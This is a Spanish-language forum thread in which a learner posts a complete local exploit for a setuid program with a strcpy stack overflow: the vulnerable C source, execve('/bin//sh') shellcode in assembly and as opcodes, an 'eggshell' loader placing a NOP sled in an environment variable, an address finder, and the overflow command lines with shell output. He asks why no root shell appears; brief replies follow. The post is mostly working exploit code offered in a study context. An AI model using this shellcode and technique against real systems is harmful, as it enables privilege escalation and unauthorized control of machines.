Autor
hola amigos, estoy aprendiendo a hacer mis propias shellcodes y exploits y se me planteo un problema desde hace unos dias, el mismo todavia no lo he podido solucionar.
estoy tratando de explotar el siguiente programa vulnerable:
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv[])
{
char buffer[512];
if(argc < 2 ) {
printf("Uso: %s <SuNombre>\n", argv[0]);
exit(0);
}
strcpy(buffer, argv[1]);
printf("Tu nombre es: %s\n", buffer);
return 0;
}
Estoy utilizando el siguiente codigo en asm para mi shellcode:
int main()
{
__asm__(
"xorl %eax, %eax\n"
"pushl %eax\n"
"pushl $0x68732f2f\n"
"pushl $0x6e69622f\n"
"movl %esp, %ebx\n"
"pushl %eax\n"
"pushl %ebx\n"
"movl %esp, %ecx\n"
"xorl %edx, %edx\n"
"movb $0xb, %al\n"
"int $0x80\n"
"xorl %eax, %eax\n"
"incb %al\n"
"xorl %ebx, %ebx\n"
"int $0x80\n"
);
}
Ahora tengo los opcodes metidos en un programa que se llama eggshell, el mismo mete el shellcode en la memoria:
#include <stdio.h>
#define NOP 0x90
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1"
"\x31\xd2\xb0\x0b\xcd\x80";
main()
{
char shell[512];
puts("Eggshell cargado en el entorno.");
memset(shell,NOP,512);
memcpy(&shell[512-strlen(shellcode)],shellcode,strlen(shellcode));
setenv("EGG", shell, 1);
putenv(shell);
system("bash");
return(0);
}
Ahora tengo otro mas para encontrar la direccion:
int main(void)
{
printf("0x%lx\n", getenv("EGG"));
return 0;
}
Ahora el programa vuln1 lo hice setuid:
bash-2.05b$ ls -l | grep vuln1
-rw-r--r-- 1 frode users 243 2005-02-07 12:58 supervuln1.c
-rwsr-sr-x 1 root users 10874 2005-02-07 14:55 vuln1
-rw-r--r-- 1 frode users 250 2005-02-07 14:53 vuln1.c
bash-2.05b$
Ahora en el momento de explotar hago lo siguiente:
bash-2.05b$ ./eggshell
Eggshell cargado en el entorno.
bash-2.05b$ ./eggfind
0xbffff72d
bash-2.05b$ ./vuln1 `perl -e'print "A" x 516'``printf "\x2d\xf7\xff\xbf"`
Tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-÷ÿ¿
bash-2.05b$ ./vuln1 `perl -e'print "A" x 520'``printf "\x2d\xf7\xff\xbf"`
Tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-÷ÿ¿
Segmentation fault
bash-2.05b$ ./vuln1 `perl -e'print "A" x 524'``printf "\x2d\xf7\xff\xbf"`
Tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA-÷ÿ¿
sh-2.05b$
Cuando hago el overflow con 524 al parecer se ejecuta mi shell.
El tema es que no se ejecuta el shell de root, al probarlo con otros shellcodes encontrados por la red funciona perfectamente y obtengo la shell de root.
Alguien puede explicarme cual es el problema con mi shellcode????
Gracias y salu2 para todos
|
 |
Bienvenido(a), Visitante. Por favor Ingresar o Registrarse ¿Perdiste tu email de activación?. |
|
25 Mayo 2012, 15:22 |
En línea
.Te explico que despues del primer int 0x80 que es el que llama a execve no deberia haber nada estoy de acuerdo.
Yo tambien =) \=
